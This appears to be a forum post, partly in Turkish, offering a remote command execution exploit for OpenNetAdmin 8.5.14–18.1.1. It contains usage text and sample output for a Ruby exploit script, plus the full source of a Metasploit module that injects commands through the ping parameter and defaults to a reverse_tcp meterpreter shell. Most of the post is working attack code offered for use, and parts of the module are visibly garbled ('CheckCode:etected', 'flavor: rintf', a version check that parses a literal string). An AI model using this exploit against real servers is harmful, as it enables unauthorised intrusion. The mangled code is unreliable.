Exploit OpenNetAdmin-RCE Exploid by Lost

[Lost]

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$ ruby exploit.rb -h
OpenNetAdmin 8.5.14 <= 18.1.1 - Remote Command Execution

Usage:
exploit.rb exploit <url> <cmd> [--debug]
exploit.rb version <url> [--debug]
exploit.rb -h | --help

exploit: Exploit the RCE vuln
version: Try to fetch OpenNetAdmin version

Options:
<url> Root URL (base path) including HTTP scheme, port and root folder
<cmd> Command to execute on the target
--debug Display arguments
-h, --help Show this screen

Examples:
exploit.rb exploit http://example.org id
exploit.rb exploit https://example.org:5000/ona 'touch hackproof'
exploit.rb version https://example.org:5000/ona

İstismar örneği:

$ ruby exploit.rb exploit http://localhost:8667/ona/ id
[+] Command output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Sürüm alma örneği:

$ ruby exploit.rb version http://localhost:8667/ona/
18.1.1


GEREKSİNİMLERİ : https://gitlab.com/honeyryderchuck/httpx , https://github.com/docopt/docopt.rb

İNDİRMENİZ İÇİN KOMUT gem install httpx docopt


Açıktan yararlanabilmeniz için metasploidi çalıştırın (Metasploid)

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenNetAdmin Ping Command Injection',
'Description' => %q{
This module exploits a command injection in OpenNetAdmin between 8.5.14 and 18.1.1.
},
'Author' =>
[
'mattpascoe', # Vulnerability discovery
'Lost SPY <[email protected]>' # Metasploit module
],
'References' =>
[
['EDB', '47691']
],
'DisclosureDate' => '2019-11-19',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' =>
[
['Automatic Target', {}]
],
'DefaultOptions' =>
{
'RPORT' => 80,
'payload' => 'linux/x86/meterpreter/reverse_tcp'
},
'DefaultTarget' => 0))

register_options(
[
OptString.new('VHOST', [false, 'HTTP server virtual host']),
OptString.new('TARGETURI', [true, 'Base path', '/ona/login.php'])
]
)
end

def check
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'ctype' => 'application/x-www-form-urlencoded',
'encode_params' => false,
'vars_post' => {
'xajax' => 'window_open',
'xajaxargs[]' => 'app_about'
}
})

unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end

unless res.body =~ /OpenNetAdmin/i
return CheckCode::Safe
end

opennetadmin_version = res.body.scan(/OpenNetAdmin - v([\d\.]+)/).flatten.first
version = Gem::Version.new('opennetadmin_version')

if version
vprint_status "OpenNetAdmin version #{version}"
end

if version >= Gem::Version.new('8.5.14') && version <= Gem::Version.new('18.1.1')
return CheckCode::Appears
end

CheckCode:etected
end

def exploit
print_status('Exploiting...')
execute_cmdstager(flavor: rintf)
end

def filter_bad_chars(cmd)
cmd.gsub!(/chmod \+x/, 'chmod 777')
end

def execute_command(cmd, opts = {})
post_data = "xajax=window_submit&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;#{filter_bad_chars(cmd)};&xajaxargs[]=ping"

begin
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'ctype' => 'application/x-www-form-urlencoded',
'encode_params' => false,
'data' => post_data
})
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
end

 

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